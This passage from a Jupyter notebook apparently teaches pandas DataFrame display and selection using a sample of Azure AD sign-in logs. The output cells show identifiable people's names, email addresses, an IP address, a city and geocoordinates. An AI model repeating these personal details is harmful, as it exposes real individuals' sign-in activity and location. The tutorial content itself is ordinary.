       "                                            AuthenticationProcessingDetails  \\\n",
       "0  [\\r\\n  {\\r\\n    \"key\": \"IsCAEToken\",\\r\\n    \"value\": \"False\"\\r\\n  }\\r\\n]   \n",
       "1  [\\r\\n  {\\r\\n    \"key\": \"IsCAEToken\",\\r\\n    \"value\": \"False\"\\r\\n  }\\r\\n]   \n",
       "2  [\\r\\n  {\\r\\n    \"key\": \"IsCAEToken\",\\r\\n    \"value\": \"False\"\\r\\n  }\\r\\n]   \n",
       "\n",
       "    AuthenticationRequirement  ... RiskLevelDuringSignIn RiskState  \\\n",
       "0  singleFactorAuthentication  ...                  none      none   \n",
       "1  singleFactorAuthentication  ...                  none      none   \n",
       "2  singleFactorAuthentication  ...                  none      none   \n",
       "\n",
       "                    ResourceDisplayName                      ResourceIdentity  \\\n",
       "0        Windows Azure Active Directory  00000002-0000-0000-c000-000000000000   \n",
       "1        Windows Azure Active Directory  00000002-0000-0000-c000-000000000000   \n",
       "2  Windows Azure Service Management API  797f4846-ba00-4fd7-ba43-dac1f8f63013   \n",
       "\n",
       "  ServicePrincipalId ServicePrincipalName            Status TokenIssuerName  \\\n",
       "0                                          {'errorCode': 0}                   \n",
       "1                                          {'errorCode': 0}                   \n",
       "2                                          {'errorCode': 0}                   \n",
       "\n",
       "  TokenIssuerType  \\\n",
       "0         AzureAD   \n",
       "1         AzureAD   \n",
       "2         AzureAD   \n",
       "\n",
       "                                                                                             UserAgent  \\\n",
       "0                                                                                                        \n",
       "1                                                                                                        \n",
       "2  Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.447...   \n",
       "\n",
       "                                         UserDisplayName  \\\n",
       "0  On-Premises Directory Synchronization Service Account   \n",
       "1  On-Premises Directory Synchronization Service Account   \n",
       "2                                         Arseny Vasilev   \n",
       "\n",
       "                                 UserId  \\\n",
       "0  2235a468-ad9c-4375-8008-0a7be76994a7   \n",
       "1  2235a468-ad9c-4375-8008-0a7be76994a7   \n",
       "2  9267d02c-5f76-40a9-a9eb-b686f3ca47aa   \n",
       "\n",
       "                                      UserPrincipalName  \\\n",
       "0  sync_aadcon_a5225d32ba79@seccxpninja.onmicrosoft.com   \n",
       "1  sync_aadcon_a5225d32ba79@seccxpninja.onmicrosoft.com   \n",
       "2                                  avasilev@viacode.com   \n",
       "\n",
       "                            AADTenantId UserType FlaggedForReview  \\\n",
       "0  4b2462a4-bbee-495a-a0e1-f23ae524cc9c   Member             None   \n",
       "1  4b2462a4-bbee-495a-a0e1-f23ae524cc9c   Member             None   \n",
       "2  4b2462a4-bbee-495a-a0e1-f23ae524cc9c    Guest             None   \n",
       "\n",
       "  IPAddressFromResourceProvider  \\\n",
       "0                                 \n",
       "1                                 \n",
       "2                                 \n",
       "\n",
       "                                       SignInIdentifier SignInIdentifierType  \\\n",
       "0  Sync_AADCON_a5225d32ba79@seccxpninja.onmicrosoft.com                        \n",
       "1  Sync_AADCON_a5225d32ba79@seccxpninja.onmicrosoft.com                        \n",
       "2                                                                              \n",
       "\n",
       "                       ResourceTenantId                          HomeTenantId  \\\n",
       "0  4b2462a4-bbee-495a-a0e1-f23ae524cc9c  4b2462a4-bbee-495a-a0e1-f23ae524cc9c   \n",
       "1  4b2462a4-bbee-495a-a0e1-f23ae524cc9c  4b2462a4-bbee-495a-a0e1-f23ae524cc9c   \n",
       "2  4b2462a4-bbee-495a-a0e1-f23ae524cc9c  5fccd68a-e65e-46ae-96b1-2d896d680249   \n",
       "\n",
       "         Type  Result           Latitude           Longitude  \n",
       "0  SigninLogs  Sucess  38.73078155517578  -78.17196655273438  \n",
       "1  SigninLogs  Sucess   38.7130012512207  -78.15899658203125  \n",
       "2  SigninLogs  Sucess  59.93904113769531    30.3157901763916  \n",
       "\n",
       "[3 rows x 69 columns]"
      ]
     },
     "metadata": {},
     "output_type": "display_data"
    }
   ],
   "source": [
    "# For this section we are going to create a DataFrame from data saved in a csv file\r\n",
    "data = logons_df\r\n",
    "\r\n",
    "# Display our DataFrame - using head to limit to first 3 rows\r\n",
    "display(data.head(3))"
   ]
  },
  {
   "cell_type": "markdown",
   "metadata": {},
   "source": [
    "<div style=\"border: solid; padding: 5pt\"><b>Note:</b>\r\n",
    "if the dataframe variable (\"data\" in the example above) is the last statement in a<br>\r\n",
    "code cell, Jupyter will automatically display it without using the `display()` function.<br>\r\n",
    "However, if you want to display a DataFrame in the middle of\r\n",
    "other code in a cell you must use the `display()` function.\r\n",
    "</div>\r\n",
    "\r\n",
    "You may not want to display the whole DataFrame and instead display only a subset of items.\r\n",
    "\r\n",
    "There are numerous ways to do this and the cell below shows some of the most widely used functions."
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 39,
   "metadata": {},
   "outputs": [
    {
     "data": {
      "text/html": [
       "<p style='font-weight: bold'>Data size:</p>"
      ],
      "text/plain": [
       "<IPython.core.display.HTML object>"
      ]
     },
     "metadata": {},
     "output_type": "display_data"
    },
    {
     "data": {
      "text/html": [
       "<p style=''>DateFrame shape is 2136 rows x 69 columns</p>"
      ],
      "text/plain": [
       "<IPython.core.display.HTML object>"
      ]
     },
     "metadata": {},
     "output_type": "display_data"
    }
   ],
   "source": [
    "md(\"Data size:\", \"bold\")\r\n",
    "md(f\"DateFrame shape is {data.shape[0]} rows x {data.shape[1]} columns\")\r\n"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 40,
   "metadata": {},
   "outputs": [
    {
     "data": {
      "text/html": [
       "<p style='font-weight: bold'>Display the first 2 rows using head(): </p>"
      ],
      "text/plain": [
       "<IPython.core.display.HTML object>"
      ]
     },
     "metadata": {},
     "output_type": "display_data"
    },
    {
     "data": {
      "text/html": [
       "<div>\n",
       "<style scoped>\n",
       "    .dataframe tbody tr th:only-of-type {\n",
       "        vertical-align: middle;\n",
       "    }\n",
       "\n",
       "    .dataframe tbody tr th {\n",
       "        vertical-align: top;\n",
       "    }\n",
       "\n",
       "    .dataframe thead th {\n",
       "        text-align: right;\n",
       "    }\n",
       "</style>\n",
       "<table border=\"1\" class=\"dataframe\">\n",
       "  <thead>\n",
       "    <tr style=\"text-align: right;\">\n",
       "      <th></th>\n",
       "      <th>TenantId</th>\n",
       "      <th>SourceSystem</th>\n",
       "      <th>TimeGenerated</th>\n",
       "      <th>ResourceId</th>\n",
       "      <th>OperationName</th>\n",
       "      <th>OperationVersion</th>\n",
       "      <th>Category</th>\n",
       "      <th>ResultType</th>\n",
       "      <th>ResultSignature</th>\n",
       "      <th>ResultDescription</th>\n",
       "      <th>DurationMs</th>\n",
       "      <th>CorrelationId</th>\n",
       "      <th>Resource</th>\n",
       "      <th>ResourceGroup</th>\n",
       "      <th>ResourceProvider</th>\n",
       "      <th>Identity</th>\n",
       "      <th>Level</th>\n",
       "      <th>Location</th>\n",
       "      <th>AlternateSignInName</th>\n",
       "      <th>AppDisplayName</th>\n",
       "      <th>AppId</th>\n",
       "      <th>AuthenticationDetails</th>\n",
       "      <th>AuthenticationMethodsUsed</th>\n",
       "      <th>AuthenticationProcessingDetails</th>\n",
       "      <th>AuthenticationRequirement</th>\n",
       "      <th>...</th>\n",
       "      <th>RiskLevelDuringSignIn</th>\n",
       "      <th>RiskState</th>\n",
       "      <th>ResourceDisplayName</th>\n",
       "      <th>ResourceIdentity</th>\n",
       "      <th>ServicePrincipalId</th>\n",
       "      <th>ServicePrincipalName</th>\n",
       "      <th>Status</th>\n",
       "      <th>TokenIssuerName</th>\n",
       "      <th>TokenIssuerType</th>\n",
       "      <th>UserAgent</th>\n",
       "      <th>UserDisplayName</th>\n",
       "      <th>UserId</th>\n",
       "      <th>UserPrincipalName</th>\n",
       "      <th>AADTenantId</th>\n",
       "      <th>UserType</th>\n",
       "      <th>FlaggedForReview</th>\n",
       "      <th>IPAddressFromResourceProvider</th>\n",
       "      <th>SignInIdentifier</th>\n",
       "      <th>SignInIdentifierType</th>\n",
       "      <th>ResourceTenantId</th>\n",
       "      <th>HomeTenantId</th>\n",
       "      <th>Type</th>\n",
       "      <th>Result</th>\n",
       "      <th>Latitude</th>\n",
       "      <th>Longitude</th>\n",
       "    </tr>\n",
       "  </thead>\n",
       "  <tbody>\n",
       "    <tr>\n",
       "      <th>0</th>\n",
       "      <td>8ecf8077-cf51-4820-aadd-14040956f35d</td>\n",
       "      <td>Azure AD</td>\n",
       "      <td>2021-06-28 10:55:21.648000+00:00</td>\n",
       "      <td>/tenants/4b2462a4-bbee-495a-a0e1-f23ae524cc9c/providers/Microsoft.aadiam</td>\n",
       "      <td>Sign-in activity</td>\n",
       "      <td>1.0</td>\n",
       "      <td>SignInLogs</td>\n",
       "      <td>0</td>\n",
       "      <td>None</td>\n",
       "      <td></td>\n",
       "      <td>0</td>\n",
       "      <td>9558f30b-a1db-4676-a586-7db608bdaa69</td>\n",
       "      <td>Microsoft.aadiam</td>\n",
       "      <td>Microsoft.aadiam</td>\n",
       "      <td></td>\n",
       "      <td>On-Premises Directory Synchronization Service Account</td>\n",
       "      <td>4</td>\n",
       "      <td>US</td>\n",
       "      <td>Sync_AADCON_a5225d32ba79@seccxpninja.onmicrosoft.com</td>\n",
       "      <td>Microsoft Azure Active Directory Connect</td>\n",
       "      <td>cb1056e2-e479-49de-ae31-7812af012ed8</td>\n",
       "      <td>[\\r\\n  {\\r\\n    \"authenticationStepDateTime\": \"2021-06-28T10:55:21.6485011+00:00\",\\r\\n    \"authe...</td>\n",
       "      <td></td>\n",
       "      <td>[\\r\\n  {\\r\\n    \"key\": \"IsCAEToken\",\\r\\n    \"value\": \"False\"\\r\\n  }\\r\\n]</td>\n",
       "      <td>singleFactorAuthentication</td>\n",
       "      <td>...</td>\n",
       "      <td>none</td>\n",
       "      <td>none</td>\n",
       "      <td>Windows Azure Active Directory</td>\n",
       "      <td>00000002-0000-0000-c000-000000000000</td>\n",
       "      <td></td>\n",
       "      <td></td>\n",
       "      <td>{'errorCode': 0}</td>\n",
       "      <td></td>\n",
       "      <td>AzureAD</td>\n",
       "      <td></td>\n",
       "      <td>On-Premises Directory Synchronization Service Account</td>\n",
       "      <td>2235a468-ad9c-4375-8008-0a7be76994a7</td>\n",
       "      <td>sync_aadcon_a5225d32ba79@seccxpninja.onmicrosoft.com</td>\n",
       "      <td>4b2462a4-bbee-495a-a0e1-f23ae524cc9c</td>\n",
       "      <td>Member</td>\n",
       "      <td>None</td>\n",
       "      <td></td>\n",
       "      <td>Sync_AADCON_a5225d32ba79@seccxpninja.onmicrosoft.com</td>\n",
       "      <td></td>\n",
       "      <td>4b2462a4-bbee-495a-a0e1-f23ae524cc9c</td>\n",
       "      <td>4b2462a4-bbee-495a-a0e1-f23ae524cc9c</td>\n",
       "      <td>SigninLogs</td>\n",
       "      <td>Sucess</td>\n",
       "      <td>38.73078155517578</td>\n",
       "      <td>-78.17196655273438</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>1</th>\n",
       "      <td>8ecf8077-cf51-4820-aadd-14040956f35d</td>\n",
       "      <td>Azure AD</td>\n",
       "      <td>2021-06-28 10:55:26.252000+00:00</td>\n",
       "      <td>/tenants/4b2462a4-bbee-495a-a0e1-f23ae524cc9c/providers/Microsoft.aadiam</td>\n",
       "      <td>Sign-in activity</td>\n",
       "      <td>1.0</td>\n",
       "      <td>SignInLogs</td>\n",
       "      <td>0</td>\n",
       "      <td>None</td>\n",
       "      <td></td>\n",
       "      <td>0</td>\n",
       "      <td>dac1edbe-1985-4f78-8d20-f4725e28b865</td>\n",
       "      <td>Microsoft.aadiam</td>\n",
       "      <td>Microsoft.aadiam</td>\n",
       "      <td></td>\n",
       "      <td>On-Premises Directory Synchronization Service Account</td>\n",
       "      <td>4</td>\n",
       "      <td>US</td>\n",
       "      <td>Sync_AADCON_a5225d32ba79@seccxpninja.onmicrosoft.com</td>\n",
       "      <td>Microsoft Azure Active Directory Connect</td>\n",
       "      <td>cb1056e2-e479-49de-ae31-7812af012ed8</td>\n",
       "      <td>[\\r\\n  {\\r\\n    \"authenticationStepDateTime\": \"2021-06-28T10:55:26.2522747+00:00\",\\r\\n    \"authe...</td>\n",
       "      <td></td>\n",
       "      <td>[\\r\\n  {\\r\\n    \"key\": \"IsCAEToken\",\\r\\n    \"value\": \"False\"\\r\\n  }\\r\\n]</td>\n",
       "      <td>singleFactorAuthentication</td>\n",
       "      <td>...</td>\n",
       "      <td>none</td>\n",
       "      <td>none</td>\n",
       "      <td>Windows Azure Active Directory</td>\n",
       "      <td>00000002-0000-0000-c000-000000000000</td>\n",
       "      <td></td>\n",
       "      <td></td>\n",
       "      <td>{'errorCode': 0}</td>\n",
       "      <td></td>\n",
       "      <td>AzureAD</td>\n",
       "      <td></td>\n",
       "      <td>On-Premises Directory Synchronization Service Account</td>\n",
       "      <td>2235a468-ad9c-4375-8008-0a7be76994a7</td>\n",
       "      <td>sync_aadcon_a5225d32ba79@seccxpninja.onmicrosoft.com</td>\n",
       "      <td>4b2462a4-bbee-495a-a0e1-f23ae524cc9c</td>\n",
       "      <td>Member</td>\n",
       "      <td>None</td>\n",
       "      <td></td>\n",
       "      <td>Sync_AADCON_a5225d32ba79@seccxpninja.onmicrosoft.com</td>\n",
       "      <td></td>\n",
       "      <td>4b2462a4-bbee-495a-a0e1-f23ae524cc9c</td>\n",
       "      <td>4b2462a4-bbee-495a-a0e1-f23ae524cc9c</td>\n",
       "      <td>SigninLogs</td>\n",
       "      <td>Sucess</td>\n",
       "      <td>38.7130012512207</td>\n",
       "      <td>-78.15899658203125</td>\n",
       "    </tr>\n",
       "  </tbody>\n",
       "</table>\n",
       "<p>2 rows × 69 columns</p>\n",
       "</div>"
      ],
      "text/plain": [
       "                               TenantId SourceSystem  \\\n",
       "0  8ecf8077-cf51-4820-aadd-14040956f35d     Azure AD   \n",
       "1  8ecf8077-cf51-4820-aadd-14040956f35d     Azure AD   \n",
       "\n",
       "                     TimeGenerated  \\\n",
       "0 2021-06-28 10:55:21.648000+00:00   \n",
       "1 2021-06-28 10:55:26.252000+00:00   \n",
       "\n",
       "                                                                 ResourceId  \\\n",
       "0  /tenants/4b2462a4-bbee-495a-a0e1-f23ae524cc9c/providers/Microsoft.aadiam   \n",
       "1  /tenants/4b2462a4-bbee-495a-a0e1-f23ae524cc9c/providers/Microsoft.aadiam   \n",
       "\n",
       "      OperationName OperationVersion    Category ResultType ResultSignature  \\\n",
       "0  Sign-in activity              1.0  SignInLogs          0            None   \n",
       "1  Sign-in activity              1.0  SignInLogs          0            None   \n",
       "\n",
       "  ResultDescription  DurationMs                         CorrelationId  \\\n",
       "0                             0  9558f30b-a1db-4676-a586-7db608bdaa69   \n",
       "1                             0  dac1edbe-1985-4f78-8d20-f4725e28b865   \n",
       "\n",
       "           Resource     ResourceGroup ResourceProvider  \\\n",
       "0  Microsoft.aadiam  Microsoft.aadiam                    \n",
       "1  Microsoft.aadiam  Microsoft.aadiam                    \n",
       "\n",
       "                                                Identity Level Location  \\\n",
       "0  On-Premises Directory Synchronization Service Account     4       US   \n",
       "1  On-Premises Directory Synchronization Service Account     4       US   \n",
       "\n",
       "                                    AlternateSignInName  \\\n",
       "0  Sync_AADCON_a5225d32ba79@seccxpninja.onmicrosoft.com   \n",
       "1  Sync_AADCON_a5225d32ba79@seccxpninja.onmicrosoft.com   \n",
       "\n",
       "                             AppDisplayName  \\\n",
       "0  Microsoft Azure Active Directory Connect   \n",
       "1  Microsoft Azure Active Directory Connect   \n",
       "\n",
       "                                  AppId  \\\n",
       "0  cb1056e2-e479-49de-ae31-7812af012ed8   \n",
       "1  cb1056e2-e479-49de-ae31-7812af012ed8   \n",
       "\n",
       "                                                                                 AuthenticationDetails  \\\n",
       "0  [\\r\\n  {\\r\\n    \"authenticationStepDateTime\": \"2021-06-28T10:55:21.6485011+00:00\",\\r\\n    \"authe...   \n",
       "1  [\\r\\n  {\\r\\n    \"authenticationStepDateTime\": \"2021-06-28T10:55:26.2522747+00:00\",\\r\\n    \"authe...   \n",
       "\n",
       "  AuthenticationMethodsUsed  \\\n",
       "0                             \n",
       "1                             \n",
       "\n",
       "                                            AuthenticationProcessingDetails  \\\n",
       "0  [\\r\\n  {\\r\\n    \"key\": \"IsCAEToken\",\\r\\n    \"value\": \"False\"\\r\\n  }\\r\\n]   \n",
       "1  [\\r\\n  {\\r\\n    \"key\": \"IsCAEToken\",\\r\\n    \"value\": \"False\"\\r\\n  }\\r\\n]   \n",
       "\n",
       "    AuthenticationRequirement  ... RiskLevelDuringSignIn RiskState  \\\n",
       "0  singleFactorAuthentication  ...                  none      none   \n",
       "1  singleFactorAuthentication  ...                  none      none   \n",
       "\n",
       "              ResourceDisplayName                      ResourceIdentity  \\\n",
       "0  Windows Azure Active Directory  00000002-0000-0000-c000-000000000000   \n",
       "1  Windows Azure Active Directory  00000002-0000-0000-c000-000000000000   \n",
       "\n",
       "  ServicePrincipalId ServicePrincipalName            Status TokenIssuerName  \\\n",
       "0                                          {'errorCode': 0}                   \n",
       "1                                          {'errorCode': 0}                   \n",
       "\n",
       "  TokenIssuerType UserAgent  \\\n",
       "0         AzureAD             \n",
       "1         AzureAD             \n",
       "\n",
       "                                         UserDisplayName  \\\n",
       "0  On-Premises Directory Synchronization Service Account   \n",
       "1  On-Premises Directory Synchronization Service Account   \n",
       "\n",
       "                                 UserId  \\\n",
       "0  2235a468-ad9c-4375-8008-0a7be76994a7   \n",
       "1  2235a468-ad9c-4375-8008-0a7be76994a7   \n",
       "\n",
       "                                      UserPrincipalName  \\\n",
       "0  sync_aadcon_a5225d32ba79@seccxpninja.onmicrosoft.com   \n",
       "1  sync_aadcon_a5225d32ba79@seccxpninja.onmicrosoft.com   \n",
       "\n",
       "                            AADTenantId UserType FlaggedForReview  \\\n",
       "0  4b2462a4-bbee-495a-a0e1-f23ae524cc9c   Member             None   \n",
       "1  4b2462a4-bbee-495a-a0e1-f23ae524cc9c   Member             None   \n",
       "\n",
       "  IPAddressFromResourceProvider  \\\n",
       "0                                 \n",
       "1                                 \n",
       "\n",
       "                                       SignInIdentifier SignInIdentifierType  \\\n",
       "0  Sync_AADCON_a5225d32ba79@seccxpninja.onmicrosoft.com                        \n",
       "1  Sync_AADCON_a5225d32ba79@seccxpninja.onmicrosoft.com                        \n",
       "\n",
       "                       ResourceTenantId                          HomeTenantId  \\\n",
       "0  4b2462a4-bbee-495a-a0e1-f23ae524cc9c  4b2462a4-bbee-495a-a0e1-f23ae524cc9c   \n",
       "1  4b2462a4-bbee-495a-a0e1-f23ae524cc9c  4b2462a4-bbee-495a-a0e1-f23ae524cc9c   \n",
       "\n",
       "         Type  Result           Latitude           Longitude  \n",
       "0  SigninLogs  Sucess  38.73078155517578  -78.17196655273438  \n",
       "1  SigninLogs  Sucess   38.7130012512207  -78.15899658203125  \n",
       "\n",
       "[2 rows x 69 columns]"
      ]
     },
     "metadata": {},
     "output_type": "display_data"
    }
   ],
   "source": [
    "md(\"Display the first 2 rows using head(): \", \"bold\")\r\n",
    "display(data.head(2))\r\n"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 41,
   "metadata": {},
   "outputs": [
    {
     "data": {
      "text/html": [
       "<p style='font-weight: bold'>Display the 3rd row using iloc[]: </p>"
      ],
      "text/plain": [
       "<IPython.core.display.HTML object>"
      ]
     },
     "metadata": {},
     "output_type": "display_data"
    },
    {
     "data": {
      "text/plain": [
       "TenantId                                                                                            8ecf8077-cf51-4820-aadd-14040956f35d\n",
       "SourceSystem                                                                                                                    Azure AD\n",
       "TimeGenerated                                                                                           2021-06-28 12:24:50.274000+00:00\n",
       "ResourceId                                                      /tenants/4b2462a4-bbee-495a-a0e1-f23ae524cc9c/providers/Microsoft.aadiam\n",
       "OperationName                                                                                                           Sign-in activity\n",
       "OperationVersion                                                                                                                     1.0\n",
       "Category                                                                                                                      SignInLogs\n",
       "ResultType                                                                                                                             0\n",
       "ResultSignature                                                                                                                     None\n",
       "ResultDescription                                                                                                                       \n",
       "DurationMs                                                                                                                             0\n",
       "CorrelationId                                                                                       d1c11047-9e6d-4814-80fc-334c453582a3\n",
       "Resource                                                                                                                Microsoft.aadiam\n",
       "ResourceGroup                                                                                                           Microsoft.aadiam\n",
       "ResourceProvider                                                                                                                        \n",
       "Identity                                                                                                                      Koby Koren\n",
       "Level                                                                                                                                  4\n",
       "Location                                                                                                                              IL\n",
       "AlternateSignInName                                                                                                                     \n",
       "AppDisplayName                                                                                                              Azure Portal\n",
       "AppId                                                                                               c44b4083-3bb0-49c1-b47d-974e53cbdf3c\n",
       "AuthenticationDetails                [\\r\\n  {\\r\\n    \"authenticationStepDateTime\": \"2021-06-28T12:24:50.2743176+00:00\",\\r\\n    \"authe...\n",
       "AuthenticationMethodsUsed                                                                                                               \n",
       "AuthenticationProcessingDetails      [\\r\\n  {\\r\\n    \"key\": \"Login Hint Present\",\\r\\n    \"value\": \"True\"\\r\\n  },\\r\\n  {\\r\\n    \"key\":...\n",
       "AuthenticationRequirement                                                                                     singleFactorAuthentication\n",
       "AuthenticationRequirementPolicies                                                                                                     []\n",
       "ClientAppUsed                                                                                                                    Browser\n",
       "ConditionalAccessPolicies            [{'id': '8872f6fb-da88-4b63-bcc7-17247669596b', 'displayName': 'MeganB MCAS Proxy', 'enforcedGra...\n",
       "ConditionalAccessStatus                                                                                                       notApplied\n",
       "CreatedDateTime                                                                                         2021-06-28 12:24:50.274000+00:00\n",
       "DeviceDetail                         {'deviceId': '{PII Removed}', 'displayName': '{PII Removed}', 'operatingSystem': 'Windows 10', '...\n",
       "IsInteractive                                                                                                                       True\n",
       "Id                                                                                                  8c899d5c-3e15-4683-85a8-443d4a6f0d01\n",
       "IPAddress                                                                                                                  87.71.180.127\n",
       "IsRisky                                                                                                                             None\n",
       "LocationDetails                      {'city': 'Herzliya', 'state': 'Tel Aviv', 'countryOrRegion': 'IL', 'geoCoordinates': {'latitude'...\n",
       "MfaDetail                                                                                                                             {}\n",
       "NetworkLocationDetails                                                                                                                []\n",
       "OriginalRequestId                                                                                   8c899d5c-3e15-4683-85a8-443d4a6f0d01\n",
       "ProcessingTimeInMilliseconds                                                                                                        2372\n",
       "RiskDetail                                                                                                                          none\n",
       "RiskEventTypes                                                                                                                        []\n",
       "RiskEventTypes_V2                                                                                                                     []\n",
       "RiskLevelAggregated                                                                                                                 none\n",
       "RiskLevelDuringSignIn                                                                                                               none\n",
       "RiskState                                                                                                                           none\n",
       "ResourceDisplayName                                                                                 Windows Azure Service Management API\n",
       "ResourceIdentity                                                                                    797f4846-ba00-4fd7-ba43-dac1f8f63013\n",
       "ServicePrincipalId                                                                                                                      \n",
       "ServicePrincipalName                                                                                                                    \n",
       "Status                                                                                                                  {'errorCode': 0}\n",
       "TokenIssuerName                                                                                                                         \n",
       "TokenIssuerType                                                                                                                  AzureAD\n",
       "UserAgent                            Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.447...\n",
       "UserDisplayName                                                                                                               Koby Koren\n",
       "UserId                                                                                              da48f21e-2f91-4c6a-9d30-56fd10a24672\n",
       "UserPrincipalName                                                                                                    kobyk@microsoft.com\n",
       "AADTenantId                                                                                         4b2462a4-bbee-495a-a0e1-f23ae524cc9c\n",
       "UserType                                                                                                                           Guest\n",
       "FlaggedForReview                                                                                                                    None\n",
       "IPAddressFromResourceProvider                                                                                                           \n",
       "SignInIdentifier                                                                                                                        \n",
       "SignInIdentifierType                                                                                                                    \n",
       "ResourceTenantId                                                                                    4b2462a4-bbee-495a-a0e1-f23ae524cc9c\n",
       "HomeTenantId                                                                                        72f988bf-86f1-41af-91ab-2d7cd011db47\n",
       "Type                                                                                                                          SigninLogs\n",
       "Result                                                                                                                            Sucess\n",
       "Latitude                                                                                                               32.16241073608399\n",
       "Longitude                                                                                                              34.84468078613281\n",
       "Name: 3, dtype: object"
      ]
     },
     "metadata": {},
     "output_type": "display_data"
    }
   ],
   "source": [
    "md(\"Display the 3rd row using iloc[]: \", \"bold\")\r\n",
    "display(data.iloc[3])\r\n"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 42,
   "metadata": {},
   "outputs": [
    {
     "data": {
      "text/html": [
       "<p style='font-weight: bold'>Show the column names in the DataFrame </p>"
      ],
      "text/plain": [
       "<IPython.core.display.HTML object>"
      ]
     },
     "metadata": {},
     "output_type": "display_data"
    },
    {
     "data": {
      "text/plain": [
       "Index(['TenantId', 'SourceSystem', 'TimeGenerated', 'ResourceId',\n",
       "       'OperationName', 'OperationVersion', 'Category', 'ResultType',\n",
       "       'ResultSignature', 'ResultDescription', 'DurationMs', 'CorrelationId',\n",
       "       'Resource', 'ResourceGroup', 'ResourceProvider', 'Identity', 'Level',\n",
       "       'Location', 'AlternateSignInName', 'AppDisplayName', 'AppId',\n",
       "       'AuthenticationDetails', 'AuthenticationMethodsUsed',\n",
       "       'AuthenticationProcessingDetails', 'AuthenticationRequirement',\n",
       "       'AuthenticationRequirementPolicies', 'ClientAppUsed',\n",
       "       'ConditionalAccessPolicies', 'ConditionalAccessStatus',\n",
       "       'CreatedDateTime', 'DeviceDetail', 'IsInteractive', 'Id', 'IPAddress',\n",
       "       'IsRisky', 'LocationDetails', 'MfaDetail', 'NetworkLocationDetails',\n",
       "       'OriginalRequestId', 'ProcessingTimeInMilliseconds', 'RiskDetail',\n",
       "       'RiskEventTypes', 'RiskEventTypes_V2', 'RiskLevelAggregated',\n",
       "       'RiskLevelDuringSignIn', 'RiskState', 'ResourceDisplayName',\n",
       "       'ResourceIdentity', 'ServicePrincipalId', 'ServicePrincipalName',\n",
       "       'Status', 'TokenIssuerName', 'TokenIssuerType', 'UserAgent',\n",
       "       'UserDisplayName', 'UserId', 'UserPrincipalName', 'AADTenantId',\n",
       "       'UserType', 'FlaggedForReview', 'IPAddressFromResourceProvider',\n",
       "       'SignInIdentifier', 'SignInIdentifierType', 'ResourceTenantId',\n",
       "       'HomeTenantId', 'Type', 'Result', 'Latitude', 'Longitude'],\n",
       "      dtype='object')"
      ]
     },
     "metadata": {},
     "output_type": "display_data"
    }
   ],
   "source": [
    "md(\"Show the column names in the DataFrame \", \"bold\")\r\n",
    "display(data.columns)"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 43,
   "metadata": {},
   "outputs": [
    {
     "data": {
      "text/html": [
       "<p style='font-weight: bold'>Display just the TimeGenerated and TenantId columnns: </p>"
      ],
      "text/plain": [
       "<IPython.core.display.HTML object>"
      ]
     },
     "metadata": {},
     "output_type": "display_data"
    },
    {
     "data": {
      "text/html": [
       "<div>\n",
       "<style scoped>\n",
       "    .dataframe tbody tr th:only-of-type {\n",
       "        vertical-align: middle;\n",
       "    }\n",
       "\n",
       "    .dataframe tbody tr th {\n",
       "        vertical-align: top;\n",
       "    }\n",
       "\n",
       "    .dataframe thead th {\n",
       "        text-align: right;\n",
       "    }\n",
       "</style>\n",
       "<table border=\"1\" class=\"dataframe\">\n",
       "  <thead>\n",
       "    <tr style=\"text-align: right;\">\n",
       "      <th></th>\n",
       "      <th>TimeGenerated</th>\n",
       "      <th>TenantId</th>\n",
       "    </tr>\n",
       "  </thead>\n",
       "  <tbody>\n",
       "    <tr>\n",
       "      <th>0</th>\n",
       "      <td>2021-06-28 10:55:21.648000+00:00</td>\n",
       "      <td>8ecf8077-cf51-4820-aadd-14040956f35d</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>1</th>\n",
       "      <td>2021-06-28 10:55:26.252000+00:00</td>\n",
       "      <td>8ecf8077-cf51-4820-aadd-14040956f35d</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>2</th>\n",
       "      <td>2021-06-28 11:36:15.896000+00:00</td>\n",
       "      <td>8ecf8077-cf51-4820-aadd-14040956f35d</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>3</th>\n",
       "      <td>2021-06-28 12:24:50.274000+00:00</td>\n",
       "      <td>8ecf8077-cf51-4820-aadd-14040956f35d</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>4</th>\n",
       "      <td>2021-06-28 12:24:44.957000+00:00</td>\n",
       "      <td>8ecf8077-cf51-4820-aadd-14040956f35d</td>\n",
       "    </tr>\n",
       "  </tbody>\n",
       "</table>\n",
       "</div>"
      ],
      "text/plain": [
       "                     TimeGenerated                              TenantId\n",
       "0 2021-06-28 10:55:21.648000+00:00  8ecf8077-cf51-4820-aadd-14040956f35d\n",
       "1 2021-06-28 10:55:26.252000+00:00  8ecf8077-cf51-4820-aadd-14040956f35d\n",
       "2 2021-06-28 11:36:15.896000+00:00  8ecf8077-cf51-4820-aadd-14040956f35d\n",
       "3 2021-06-28 12:24:50.274000+00:00  8ecf8077-cf51-4820-aadd-14040956f35d\n",
       "4 2021-06-28 12:24:44.957000+00:00  8ecf8077-cf51-4820-aadd-14040956f35d"
      ]
     },
     "metadata": {},
     "output_type": "display_data"
    }
   ],
   "source": [
    "md(\"Display just the TimeGenerated and TenantId columnns: \", \"bold\")\r\n",
    "display(data[[\"TimeGenerated\", \"TenantId\"]].head())"
   ]
  },
  {
   "cell_type": "markdown",
   "metadata": {},
   "source": [
    "We can also choose to select a subset of our DataFrame by filtering the contents of the DataFrame.\r\n",
    "\r\n",
    "<div style=\"border: solid; padding: 5pt\"><b>Tip:</b>\r\n",
    "the syntax in these examples is using a technique called <i>boolean indexing</i>.\r\n",
    "<pre>data[&lt;boolean expression&gt;]</pre>\r\n",
    "returns all rows in the dataframe where the boolean expression is True.<br>\r\n",
    "In the first example we telling pandas to return all rows where the column value of\r\n",
    "<b>TargetUserName</b> matches 'MSTICAdmin'\r\n",
    "</div>"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 44,
   "metadata": {},
   "outputs": [
    {
     "data": {
      "text/html": [
